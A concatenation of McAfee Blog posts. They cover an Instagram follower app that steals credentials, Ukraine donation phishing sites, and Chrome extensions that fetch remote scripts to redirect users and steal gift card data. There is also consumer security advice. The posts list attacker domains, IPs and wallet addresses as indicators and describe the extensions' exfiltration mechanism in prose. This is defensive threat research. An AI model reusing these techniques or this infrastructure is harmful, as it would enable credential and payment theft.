As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram Credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Figure 1. Suspicious apps in Google Images
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified
The way the domain introduces is very simple.
Figure 2. A screenshot to increase the number of followers by entering in 20 followers.
When you run the function, you can see that the number of followers increases every few seconds.
Figure 3. New follower notifications appear in the feed.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
Figure 4. Message being promoted on Telegram
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
Figure 5. Many people complain that their Instagram accounts are being compromised
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
Figure 6. Redirect to malicious website via Android Webview
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
Figure 7. Simple 2 lines of initial code
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29
Figure 8. Abnormal login attempt notification
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgment.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security
SHA256:
Domains:
The post Instagram Credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
We’re excited to bring you the latest edition of the McAfee 2022 Consumer Mobile Threat Report. After all, when you know the challenges you face, it’s easier to be confident online. In this blog, we’ll take a closer look at some leading examples of techniques that cybercriminals are using to trick or defraud you via your mobile phone. These examples are some of the more sophisticated attacks, using real logos, quality graphics, and personalized messages. We hope this provides a useful resource for protecting your digital life, mobile devices, and personal information so that you can enjoy a safe life online with your family.
Cybercriminals are upping their game, using personal information and high-quality graphics to make their malware look like legitimate apps or official messages. Because these attacks are successful at defrauding significant numbers of mobile users out of their money and information, more criminals will jump on this approach or expand their malicious campaigns. Let’s take a look at some of the different techniques being used by scammers to fool mobile users.
Mobile smishing (aka phishing text messages) are attacks using personalized greetings in text messages that pretend to be from legitimate organizations to appear more credible. These messages often link to websites with authentic logos, icons, and other graphics, prompting the user to enter personal information or download an app. Users should be extra careful about text messages from unknown sources and should go directly to the organization’s website to validate requests.
Cheating tools and hacking apps are popular ways to get extra capabilities in mobile games. Criminals are exploiting this by promoting game hacking apps that include malicious code on legitimate messaging channels. If installed, the malware steals account credentials for social media and gaming accounts. Gamers should use caution when installing game hacks, especially if they request superuser permissions.
Cryptocurrencies are providing new opportunities for mobile device attacks. The latest ploy is phony apps that promise to mine coins in the cloud for a monthly fee. Fake reviews and a low cost make them sound too good to be true—and they are. These apps just take the money without doing any coin mining. With no actual malicious code, these apps are hard to detect, so users should be suspicious of being promised hundreds or thousands of dollars of crypto coins for just a few dollars a month.
Another attack uses a variety of fake apps with slick graphics to trick users into premium subscriptions. Hundreds of these apps promise features such as mobile games or photo editing and are supported by plenty of fake five-star reviews. When installed, the apps ask for the user’s phone number and verification PIN and use them to sign up for premium text services that direct payments to the criminals. Users should read reviews looking for vague statements, repetitive wording, and a mix of five-star and one-star ratings. For a deeper dive into the scams, be sure to view full report.
While threat tactics continue to change as criminals adapt and respond to detection and enforcement techniques, there are a few steps users should take to limit their exposure and risk.
While some malicious apps do make it through the app store screening process, most of the attack downloads appear to be coming from social media, fake ads, and other unofficial app sources. Before downloading something to your phone, do some quick research about the source and developer. Many of these scams have been flagged by other people.
Many malicious apps get the access they need by asking the user to grant them permission to use unrelated privileges and settings. When installing a new app, take a few moments to read these requests and deny any that seem unnecessary, especially for superuser access and accessibility services.
Developers are actively working to identify and address security issues. Both operating systems and apps should be frequently updated so that they have the latest fixes and security protections.
Cybercriminals often flood their Google Play apps with fake five-star reviews. Many fake or malicious apps only have a mix of five-star and one-star reviews. The five-star ones typically have vague statements and repetitive wording, giving clues that they are submitted by bots. Compare them to the one-star reviews for insight on the app’s real capabilities.
Devices that are behaving unusually may just have a basic tech issue but it can also be a sign of being hacked. Follow up when something is not quite right, check recent changes or contact tech support from the mobile device vendor or security software provider.
Comprehensive security software across all devices, whether they are computers, tablets, or smartphones, continues to be a strong defensive measure to protect your data and privacy from cyber threats.
We hope this report helps you stay on the lookout for these and other mobile threats so you can safely and confidently enjoy your life online.
The post McAfee 2022 Consumer Mobile Threat Report appeared first on McAfee Blog.
Authored by Vallabh Chole and Oliver Devane
Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.
This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.
A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.
Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.
While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.
Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.
The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.
The site contains a donation checker so the victim can see if their donation was received, as shown below.
The following image shows one of the examples of phish emails we have observed.
The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.
This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.
The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.
Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information.
We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics.
The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog.
For general cyber scam, education click here
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
| Type | Value | Product | Detected |
| URL – Phishing Sites | ukrainehelp[.]world | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainethereum[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | unitedhelpukraine[.]kiev[.]ua/ | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | donationukraine[.]io/donate | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | help-ukraine-compaign[.]com/shop | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainebitcoin[.]online/ | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainedonation[.]org/donate | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | ukrainewar[.]support | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | sendhelptoukraine[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | worldsupportukraine[.]com | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | paytoukraine[.]space | McAfee WebAdvisor | Blocked |
| URL – Phishing Sites | razonforukraine[.]com | McAfee WebAdvisor | Blocked |
The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.
The White House recently reissued a warning to American businesses in response to the unprecedented economic sanctions the U.S. has imposed on Russia for the Ukraine invasion, stating, “There is now evolving intelligence that Russia may be exploring options for potential cyberattacks.”
Along with this statement, the White House published a fact sheet outlining the new and ongoing steps the government is taking to protect its infrastructure and technologies, along with steps that private businesses can take to protect themselves from attacks as well.
Of course, any successful attack on government operations and the operations of private businesses could potentially affect households as well—such as in the case of data breaches where data or information is stolen from a system, often the personal data and information of individuals.
Word of potential attacks understandably leaves people feeling uncertain and may further leave them wondering if there’s anything they can do to protect themselves. With regards to data breaches and the cases of identity theft that typically follow, there are several steps people can take to keep safer online.
Let’s break down what a data breach looks like, how it can affect you, and what you can do in advance of a breach to protect yourself.
We’ve certainly seen data breaches make the news over the years, which are often (but not always) associated with malicious hackers or hacker organizations. A quick list of some of the largest and most impactful breaches we’ve seen in recent years:
Healthcare facilities have seen their data breached, along with the operations of popular restaurants. Small businesses find themselves in the crosshairs as well, with one report stating that 43% of data leaks target small businesses. Those may come by way of an attack on where those businesses store their records, a disgruntled employee, or by way of a compromised point-of-sale terminal in their store, office, or location.
What differs with the White House warning is who may end up being behind these potential attacks—a nation-state rather than what are financially motivated hackers or hacking groups. (Some research indicates that nearly 90% of breaches are about the money.) However, the result is the same. Your personal information winds up loose in the world and possibly in the hands of a bad actor.
The fact is that plenty of our information is out there on the internet, simply because we go about so much of our day online, whether that involves shopping, banking, getting results from our doctors, or simply hopping online to play a game once in a while.
Naturally, that means the data in any given breach will vary from service to service and platform to platform involved. Certainly, a gaming service will certainly have different information about you than your insurance company. Yet broadly speaking, there’s a broad range of information about you stored in various places, which could include:
As to what gets exposed and when you might find out about it, that can vary greatly as well. One industry research report found that 60% of breaches were discovered in just days from the initial attack while others could take months or even longer detect. Needless to say, the timeline can get rather stretched before word reaches you, which is a good reason to change your passwords regularly should any of them get swept up in a breach. (An outdated password does a hacker no good—more on that in a bit.)
The answer is plenty. In all, personal information like that listed above has a dollar value to it. In a way, your data and information are a kind of currency because they’re tied to everything from your bank accounts, investments, insurance payments—even tax returns and personal identification like driver’s licenses.
With this information in hand, a crook can commit several types of identity crimes—ranging from fraud to theft. In the case of fraud, that could include running up a bill on one of your credits cards or draining one of your bank accounts. In the case of theft, that could see crooks impersonate you so they can open new accounts or services in your name. Beyond that, they may attempt to claim your tax refund or potentially get an ID issued in your name as well.
Another possibility is that a hacker will simply sell that information on the dark marketplace, perhaps in large clumps or as individual pieces of information that go for a few dollars each. However it gets sold, these dark-market practices allow other fraudsters and thieves to take advantage of your identity for financial or another gain.
The succinct answer is to sign up for an identity protection service. It can monitor dozens of types of personal information and then alert you if any of them are possibly being misused, so you can address any issues right away before they become a potentially much bigger problem.
Further, pairing identity protection with online protection software can protect you even more. With an all-up view of your overall online security—how well you’re protecting yourself and your identity online—it can guide you through steps that can shore up your protection and make you safer still.
When a business, service, or organization falls victim to a breach, it doesn’t always mean that you’re automatically a victim too. Your information may not have been caught up in it. However, it’s best to act as if it was. With that, we strongly suggest you take these immediate steps.
Given the possibility that your password may be in the hands of a bad actor, change it right away. Strong, unique passwords offer one of your best defenses against hackers. Update them regularly as well. As mentioned above, this can protect you in the event a breach occurs and you don’t find out about it until well after it’s happened. You can spare yourself the upkeep that involves a password manager that can keep on top of it all for you. If your account offers two-factor authentication as part of the login process, make use of it as it adds another layer of security that makes hacking tougher.
If you spot unusual or unfamiliar charges or transactions in your account, bank, or debit card statements, follow up immediately. That could indicate improper use. In general, banks, credit card companies, and many businesses have countermeasures to deal with fraud, along with customer support teams that can help you file a claim if needed.
As outlined above, identity protection like ours can monitor a broad set of your personal information and provide you guidance for making it more secure, in addition to getting help from a professional recovery specialist.
For an even closer look at identity theft, we have two articles that can help guide the way if you think you’re a victim, each featuring a series of straightforward steps you can take to set matters right:
No matter how uncertain news of possible cyberattacks may any of us feel, you can take steps to set some of that uncertainty aside. An identity protection service is a strong first move against possible identity theft, as is pairing it with online protection software that keeps you safer online overall. Likewise, knowing the signs of possible identity theft and what you can do to address it right away offer further assurance still—like having the services of a professional recovery specialist to help.
In all, there’s no need to leave yourself wondering at the news from the White House. As an individual, you have it in your power to make yourself and your family safer than they are now.
The post White House Announces Possible Rise in Cyberattacks—What You Can Do to Stay Safe appeared first on McAfee Blog.
At McAfee, we’re proud to protect. It’s part of our DNA.
We’re all dedicated to keeping the world safe from cyber threats. As a team, we’re driven by our mission to protect all that matters. Individually, we’re motivated by our own unique reasons – whether that’s family, friends, or our communities.
As part of our commitment to online safety, we asked our McAfee team to share what motivates them every day to make life online safe and enjoyable. Here are just a few incredible reasons shared by some of our team:
“I’m really proud to protect my father in the digital life as he did with me in the real life.”- Francisco
“I’m proud to protect my family. I want to ensure they are safe now that everything is online.” – Cagla
“I’m proud to be part of a community that helps millions of people stay safe online.” – Karan
“I’m proud to protect my kids with the gift of digital safety so that they can freely enjoy their screen time.” – Loretta
“I am proud to protect my McAfee family because I love this company so much! I’m also proud to protect my grandson’s online activity thanks to McAfee!” – Melody
“I’m proud to protect family, friends, and our society as a whole. It is important for me to lead the change for a safer environment and future for the one close to me.” – Benni
Watch the video below to see McAfee team members worldwide share their commitment to protecting all that matters to them.
Interested in building your career at a company that’s proud to protect? Search our openings!
The post Why I’m Proud to Protect appeared first on McAfee Blog.
Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi
McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000
McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below.
The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.
One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.
The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions.
The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.
The details of each step are as follows:
This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“.
The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern
When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.
This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chrome’s local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.
After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored.
The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.
Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.
URLs monitored are:
Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not.
The image below shows the Apple Phishing site and the various phishing kits being hosted on this server.
The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below:
The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work.
The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension.
The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window.
The chat window may be used by the malicious actor to request PII data, credit card, and product key information.
This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.
McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product.
| Type | Value | Product | Detected |
| URL – Phishing Sites | 164.90.141.88/* | McAfee WebAdvisor | Blocked |
| Chrome Extension | netflix-party – bncibciebfeopcomdaknelhcohiidaoe | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | teleparty – flddpiffdlibegmclipfcnmaibecaobi | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | private-watch-party – maolinhbkonpckjldhnocgilkabpfodc | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | blocksite – pfhjfcifolioiddfgicgkapbkfndaodc | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd | Total Protection and LiveSafe | Phish-Extension |
| Chrome Extension | ott-party – lldibibpehfomjljogedjhaldedlmfck | Total Protection and LiveSafe | Phish-Extension |
The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.
International Women’s Day serves as an important reminder that each and every one of us plays a role in recognizing and addressing gender bias. Together, we can make a difference in creating a more equitable world for all.
At McAfee, we know that genuine change requires continuous commitment. And while we’re proud of the efforts we’re making as a company – from being the first cybersecurity company to achieve global pay parity (and maintain it), to expanded time off for new parents, to a woman on every hiring panel to help remove bias – we know there is more to do.
This International Women’s Day and beyond, McAfee team members around the globe share how they’ll continue to advance inclusion and gender equality by actively working to #BreakTheBias.
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JaffarSadhik
Software Quality Engineer (India) A gender equal world starts with a change. A change within families, a change with perspectives, a change among society!
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Arathi Program Manager (Canada) I am helping to #BreakTheBias by teaching my son that both boys and girls, men and women can do it all.
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Krupali
Sr Market Research Analyst (USA) We need to think differently. Women have, are and will always be quintessential architects of society. Together we can #BreakTheBias
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Ambareen Software Engineer (UK) Collectively we can all #BreakTheBias! I am doing my part and learning from my mum and helping the next generation believe in themselves irrespective of gender.
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Kevin Real Estate & Workplace Strategy (Ireland) Equality can only be achieved if diversity, difference and qualities of woman are truly valued. We must work together to acknowledge and #BreakTheBias.
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Darya Channel Marketing (Australia) Bias against anyone for simply being different, limits our growth and is a significant waste of talent, energy and happiness. I commit to taking an active role in questioning perceptions to do my part to influence change.
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Natalia Software Sales (Canada) I will help #BreakTheBias by raising and supporting a strong independent young adult and setting an example for her. I do so by choosing my career path while leading and growing personally and professionally!
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Winnie Talent Acquisition Partner (Australia) I will #BreakTheBias by addressing and challenging gender stereotypes.
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Aisling Senior People Partner (Ireland) I will help #BreakTheBias by encouraging conversations around diversity, challenging myself and others to consider where we can make changes that will have a positive impact.
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Join McAfee and millions of others around the world in celebrating International Women’s Day by sharing how you’ll #BreakTheBias.
Interested in building your career at a company that helps women thrive? Search our openings!
The post McAfee Teammates Share How They’ll Help #BreakTheBias this International Women’s Day appeared first on McAfee Blog.
Authored by Oliver Devane and Vallabh Chole
Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.
Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome.
Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.
The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.
The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.
Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below:
Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.
The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this:
You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits.
To remove a website’s notification permission, you need to change a Chrome setting.
1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com
2- Open the Chrome browser app which can be found by performing the following search:
3- Click the three … on the top right hand of the application
4- Scroll down and click on settings
5- Click on Notifications
6- Scroll down until you find the website which you identified in step 1
7- Pres the blue radio button so it turns grey
8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.
McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.
Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below:
Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application.
The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.
We’re excited to bring you the latest edition of the McAfee 2022 Consumer Mobile Threat Report. After all, when you know the challenges you face, it’s easier to be confident online. In this blog, we’ll take a closer look at some leading examples of techniques that cybercriminals are using to trick or defraud you via your mobile phone. These examples are some of the more sophisticated attacks, using real logos, quality graphics, and personalized messages. We hope this provides a useful resource for protecting your digital life, mobile devices, and personal information so that you can enjoy a safe life online with your family.
Cybercriminals are upping their game, using personal information and high-quality graphics to make their malware look like legitimate apps or official messages. Because these attacks are successful at defrauding significant numbers of mobile users out of their money and information, more criminals will jump on this approach or expand their malicious campaigns. Let’s take a look at some of the different techniques being used by scammers to fool mobile users.
Mobile smishing (aka phishing text messages) are attacks using personalized greetings in text messages that pretend to be from legitimate organizations to appear more credible. These messages often link to websites with authentic logos, icons, and other graphics, prompting the user to enter personal information or download an app. Users should be extra careful about text messages from unknown sources and should go directly to the organization’s website to validate requests.
Cheating tools and hacking apps are popular ways to get extra capabilities in mobile games. Criminals are exploiting this by promoting game hacking apps that include malicious code on legitimate messaging channels. If installed, the malware steals account credentials for social media and gaming accounts. Gamers should use caution when installing game hacks, especially if they request superuser permissions.
Cryptocurrencies are providing new opportunities for mobile device attacks. The latest ploy is phony apps that promise to mine coins in the cloud for a monthly fee. Fake reviews and a low cost make them sound too good to be true—and they are. These apps just take the money without doing any coin mining. With no actual malicious code, these apps are hard to detect, so users should be suspicious of being promised hundreds or thousands of dollars of crypto coins for just a few dollars a month.
Another attack uses a variety of fake apps with slick graphics to trick users into premium subscriptions. Hundreds of these apps promise features such as mobile games or photo editing and are supported by plenty of fake five-star reviews. When installed, the apps ask for the user’s phone number and verification PIN and use them to sign up for premium text services that direct payments to the criminals. Users should read reviews looking for vague statements, repetitive wording, and a mix of five-star and one-star ratings. For a deeper dive into the scams, be sure to view full report.
While threat tactics continue to change as criminals adapt and respond to detection and enforcement techniques, there are a few steps users should take to limit their exposure and risk.
While some malicious apps do make it through the app store screening process, most of the attack downloads appear to be coming from social media, fake ads, and other unofficial app sources. Before downloading something to your phone, do some quick research about the source and developer. Many of these scams have been flagged by other people.
Many malicious apps get the access they need by asking the user to grant them permission to use unrelated privileges and settings. When installing a new app, take a few moments to read these requests and deny any that seem unnecessary, especially for superuser access and accessibility services.
Developers are actively working to identify and address security issues. Both operating systems and apps should be frequently updated so that they have the latest fixes and security protections.
Cybercriminals often flood their Google Play apps with fake five-star reviews. Many fake or malicious apps only have a mix of five-star and one-star reviews. The five-star ones typically have vague statements and repetitive wording, giving clues that they are submitted by bots. Compare them to the one-star reviews for insight on the app’s real capabilities.
Devices that are behaving unusually may just have a basic tech issue but it can also be a sign of being hacked. Follow up when something is not quite right, check recent changes or contact tech support from the mobile device vendor or security software provider.
Comprehensive security software across all devices, whether they are computers, tablets, or smartphones, continues to be a strong defensive measure to protect your data and privacy from cyber threats.
We hope this report helps you stay on the lookout for these and other mobile threats so you can safely and confidently enjoy your life online.
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While our tweens and tweens seem to grow into adults right before our eyes, their mobile usage matures into adulthood as well—and in many ways, we don’t see.
Girls and boys hit their mobile stride right about the same point in life, at age 15 where their mobile usage jumps significantly and reaches a level that they carry into adulthood, which is one of the several findings we uncovered in our global survey of parents, tweens, and teens this year.
So, what are tweens and teens up to on their mobile devices as they mature? And where do their parents fit in? We asked parents and kids alike. What we found gives us a look into the mobile lives of tweens and teens behind their lock screens.
For starters, parents and their kids alike say that their mobile device is the most important one in their life. Parents placed mobile in their top two with their mobile device or smartphone at 59% followed their computer or laptop at 42%. Tweens and teens put their mobile device or smartphone at the top of the list as well, yet at a decisive 74% worldwide, followed by their gaming console at 68%.
“Parents and their kids alike say that their mobile device is the most important thing in their life.”
Further, tweens and teens place a higher value on their smartphones to keep them connected with friends and family. Some 59% of parents said mobile was essential in this role, whereas tweens and teens put that figure at 64%. For parents, the runner-up device for keeping connected was the computer or laptop at 42%.
Yet quite interestingly, tweens and teens said their second-most important device for keeping connected with others is their gaming console, at 40%, perhaps indicating gaming’s role in creating and fostering friendships today. Of course, plenty of that gaming is happening on mobile as well, with half of all tweens and teens surveyed worldwide saying that they play games on their smartphones.
Broadly speaking, the activities kids do on their phones match up closely with what their parents think they’re doing on their phones. Yet there’s a fair share of secretive activity that happens within that.
Regarding general activity, parents and their tween- and teen-aged children worldwide see eye to eye when it comes to what parents think are their kids’ favorite activities on mobile are and what kids say they actually are:
However, and perhaps unsurprisingly, tweens and teens say they’ve kept some the things they’re watching, browsing, and streaming from their parents. When asked if they sometimes hide specific online activity from their parents, 59% of tweens and teens worldwide said they have done so in some form or other, including:
Worldwide, monitoring apps rank relatively low when it comes to parents keeping tabs on their children’s mobile usage. Use of parental controls software on smartphones came in at a 27% global average, with India (37%) and France (33%) leading the way, while Japan fell on the low end (12%).
Largely, parents appear to take up this work themselves, citing several other ways they take charge of their children’s time online:
Consistent with other research we recently gathered, families are relying on mobile more and more, yet this hasn’t seen an increase in mobile protection for the smartphones they count on.
Our research published in early 2011 found double-digit increases in mobile activities such as online banking, shopping, finances, and doctor visits, all of which can generate high-value data that are attractive to hackers and cybercriminals. Despite this newfound reliance on mobile, many smartphones worldwide remain unprotected. Children’s phones are less protected than their parents’ phones as well.
Taken together, these security lapses can lead to downloaded malware, data and identity theft, illicit crypto mining apps on the device, and other attacks that can put children and families at risk. For a deeper dive, you can view the full report.
Misconceptions about online protection may play a role in these lax measures. This survey found that 49% of parents think a new phone is more secure than a new computer, and 59% of tweens and teens thought the new phone was more secure—both denying the reality that smartphones, and the people using them, are subject to hacks and attacks just like with any other device that connects to the internet.
Amid this climate, more than 1/3 of families reported that a child in their household had been the victim of a financial information leak and 15% stated that there’d been an attempt to steal a child’s online account or identity. With smartphones providing children with a major onramp to the internet, it follows that stronger mobile security could help prevent such attacks from happening.
Protecting mobile devices and the family members who count on them takes on further importance when we consider that children in some nations rely heavily on their smartphones for online learning.
Although using mobile for online learning was relatively low globally at 23%, parents and children in three nations reported a high rate of attending classes and courses on mobile—with India at 54%, Mexico at 42%, and Brazil at 39%, once again posing the possibility that mobile offers many children the most reliable broadband connection required for such instruction. In other words, there are households where broadband comes by way of mobile, rather than a cable or fiber connection.
